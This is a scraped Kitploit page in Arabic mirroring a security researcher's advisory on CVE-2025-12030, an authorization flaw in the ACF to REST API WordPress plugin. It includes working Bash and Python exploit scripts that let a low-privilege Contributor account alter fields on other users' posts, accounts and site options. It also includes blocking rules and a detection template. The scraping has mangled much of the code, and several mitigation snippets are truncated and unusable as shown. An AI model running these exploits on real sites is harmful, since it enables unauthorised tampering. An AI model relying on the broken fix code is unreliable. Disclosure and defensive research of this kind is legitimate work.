Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/snailsploit/cve-2025-12030
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - ثغرة أمنية تتيح للمستخدمين المُصادَق عليهم بصلاحية مستوى المساهِم تعديل حقول ACF على كائنات لا يملكونها.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-12030: مرجع كائن غير مباشر غير آمن في إضافة ACF إلى REST API لووردبريس

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

الكلمات المفتاحية: CVE-2025-12030، ثغرة ACF إلى REST API، IDOR، أمان ووردبريس، استغلال مصادق عليه، ثغرة إضافة ووردبريس، CWE-639، تعديل حقول ACF، تجاوز التفويض، CVE ووردبريس 2025، Advanced Custom Fields، أمان REST API

جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • التحليل الفني
  • ناقل الهجوم
  • إثبات المفهوم
  • دليل المعالجة
  • الاكتشاف
  • مقاييس CVSS
  • المراجع
  • الاعتمادات
  • جهة الاتصال الأمنية

نظرة عامة

ثغرة IDOR في إضافة ACF إلى REST API لووردبريس (CVE-2025-12030) — خلل أمني يسمح للمستخدمين المصادق عليهم بصلاحية Contributor بتعديل حقول ACF على كائنات لا يملكونها.

تم اكتشاف ثغرة مرجع كائن غير مباشر غير آمن (IDOR) في إضافة ACF إلى REST API لووردبريس، والتي تسمح للمهاجمين المصادق عليهم بصلاحيات دنيا بتعديل حقول ACF عبر كامل تثبيت ووردبريس.

اكتشفها: Kai Aizen (SnailSploit)
نُشرت في: 6 يناير 2026
درجة CVSS: 4.3 (متوسطة)
CWE: CWE-639 - تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم
الإضافة: ACF to REST API
معرّف الإضافة: acf-to-rest-api
نوع الهجوم: مرجع كائن غير مباشر غير آمن (IDOR)
الصلاحيات المطلوبة: Contributor+ (هجوم مصادق عليه)

تفاصيل الثغرة

الوصف

إضافة ACF to REST API لووردبريس عرضة لثغرة مرجع كائن غير مباشر غير آمن في جميع الإصدارات حتى 3.3.4 وما يشملها. يعود السبب إلى فحص صلاحيات غير كافٍ في طريقة update_item_permissions_check()، والتي تتحقق فقط من أن المستخدم الحالي يمتلك صلاحية edit_posts دون التحقق من الصلاحيات الخاصة بالكائن (مثل edit_post($id)، edit_user($id)، manage_options).

الأثر

تسمح هذه الثغرة للمهاجمين المصادق عليهم بصلاحية Contributor فما فوق بـ:

  • تعديل حقول ACF على منشورات لا يملكونها — تجاوز قيود ملكية المنشورات
  • تعديل حقول ACF على أي حساب مستخدم — بما في ذلك حسابات المسؤولين
  • تعديل حقول ACF على التعليقات — تغيير بيانات التعليقات الوصفية
  • تعديل حقول ACF على مصطلحات التصنيفات — تغيير الحقول المخصصة للتصنيفات/الوسوم
  • تعديل صفحة الخيارات العامة — الوصول إلى خيارات ACF على مستوى الموقع دون صلاحية manage_options

جميع التعديلات ممكنة عبر نقاط نهاية REST API /wp-json/acf/v3/{type}/{id}.

الإصدارات المتأثرة

  • الضعيفة: جميع الإصدارات ≤ 3.3.4
  • المصححة: ⚠️ لا يوجد تصحيح معروف متاح

مقاييس CVSS v3.1```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

root@kitploit:~
| Metric | Value |
|--------|-------|
| ناقل الهجوم | شبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الامتيازات المطلوبة | منخفض (PR:L) |
| تفاعل المستخدم | لا شيء (UI:N) |
| النطاق | غير متغير (S:U) |
| السرية | لا شيء (C:N) |
| السلامة | منخفض (I:L) |
| التوفر | لا شيء (A:N) |

**تفصيل CVSS v3.1:**

- **ناقل الهجوم (AV):** شبكة - يمكن استغلال الثغرة عن بُعد عبر الشبكة
- **تعقيد الهجوم (AC):** منخفض - لا تتطلب الاستغلال شروطًا خاصة
- **الامتيازات المطلوبة (PR):** منخفض - يتطلب مصادقة بمستوى المساهم (Contributor)
- **تفاعل المستخدم (UI):** لا شيء - يعمل الاستغلال دون أي تفاعل من المستخدم
- **النطاق (S):** غير متغير - تؤثر الثغرة فقط على المكوّن المعرض للخطر
- **أثر السرية (C):** لا شيء - لا تسريب للمعلومات
- **أثر السلامة (I):** منخفض - تعديل غير مصرح به لحقول ACF
- **أثر التوفر (A):** لا شيء - لا تأثير على التوفر

## التفاصيل الفنية

### السبب الجذري للثغرة

توجد الثغرة في طريقة `update_item_permissions_check()` التي تقوم بتحقق غير كافٍ من الصلاحيات:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

يجب أن يتحقق التنفيذ السليم من الأذونات الخاصة بالكائن:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

root@kitploit:~
switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

root@kitploit:~
### نقاط النهاية القابلة للاستغلال

| نقطة النهاية | الهدف | الصلاحية المطلوبة (يجب أن تكون) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | المقالات | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | الصفحات | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | المستخدمون | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | التعليقات | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | المصطلحات | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | الخيارات | `manage_options` |

### ناقل الهجوم```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

يمكن استغلال الثغرة عبر WordPress REST API من قبل أي مستخدم مُصادَق عليه يملك دور Contributor على الأقل.

إثبات المفهوم

⚠️ لأغراض تعليمية واختبارات مُصرَّح بها فقط

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

root@kitploit:~
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

المعالجة

لمسؤولي الموقع

إجراء فوري مطلوب:

⚠️ لا يتوفر حاليًا أي تصحيح رسمي لهذه الثغرة الأمنية.

  1. فكّر في إلغاء تثبيت الإضافة إذا لم تكن وظيفة ACF REST API ضرورية
  2. قيّد تسجيلات المستخدمين وراجع حسابات Contributor+ الموجودة
  3. طبّق قواعد جدار حماية تطبيقات الويب (WAF) لمنع التعديلات غير المصرح بها على REST API
  4. راقب نشاط REST API بحثًا عن تعديلات مشبوهة على حقول ACF
  5. فكّر في إضافات بديلة تتمتع بضوابط ترخيص مناسبة

إجراءات تخفيف مؤقتة

الخيار 1: تعطيل نقاط نهاية REST API عبر الكود

أضِف إلى ملف functions.php الخاص بقالبك أو إلى إضافة مخصصة:```php

403) ); } return $permission; }, 10, 3); ``` #### الخيار 2: التقييد عبر .htaccess```apache # Block ACF REST API modification endpoints for non-admins RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$ RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC] RewriteRule .* - [F,L] ``` #### الخيار 3: إعداد Nginx```nginx # Block ACF REST API modification requests location ~* ^/wp-json/acf/v3/ { if ($request_method ~* "(PUT|POST|PATCH)") { # Implement proper authorization check or block entirely return 403; } try_files $uri $uri/ /index.php?$args; } ``` ### لمطوّري الإضافات إذا كنت تقوم بعمل fork أو patch للإضافة، فقم بتطبيق تفويض مناسب خاص بالكائن:```php get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## Detection ### تحليل السجلات ابحث عن نشاط مشبوه في REST API:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### فحص إضافات WordPress```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### قواعد الماسح الأمني **قالب Nuclei:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### قواعد جدار حماية تطبيقات الويب **قاعدة ModSecurity:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## الخط الزمني - **6 يناير 2026** - تم الكشف عن الثغرة علنًا - **6 يناير 2026** - تم تعيين CVE-2025-12030 - **الوقت الحالي** - ⚠️ لا يتوفر تصحيح ## المراجع - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - مرجع مباشر غير آمن لكائن](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## الاعتمادات **الباحث:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **عملية الإفصاح:** تم التنسيق عبر برنامج مكافآت الثغرات في Wordfence ## إخلاء مسؤولية تُقدَّم هذه المعلومات لأغراض البحث الأمني والحماية فقط. أي استغلال لهذه الثغرة لأغراض ضارة هو أمر غير قانوني وغير أخلاقي. احصل دائمًا على إذن مناسب قبل اختبار أنظمة لا تملكها. ## التواصل للاستفسارات أو معلومات إضافية حول هذه الثغرة: - **البريد الإلكتروني:** [[email protected]](mailto:[email protected]) - **الموقع الإلكتروني:** [snailsploit.com](https://snailsploit.com) - **المؤسسة:** SnailSploit Security Research --- *آخر تحديث: 6 يناير 2026* --- ## 📚 التوثيق والمؤلف الشرح الكامل لهذا المشروع، والمنهجية، والأبحاث ذات الصلة متاحة على: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** أُنشئ بواسطة **Kai Aizen** — باحث أمني هجومي مستقل. [snailsploit.com](https://snailsploit.com) · [الأبحاث](https://snailsploit.com/research) · [الأطر](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *نفس الهجوم. ركيزة مختلفة.*
تنزيل الأداة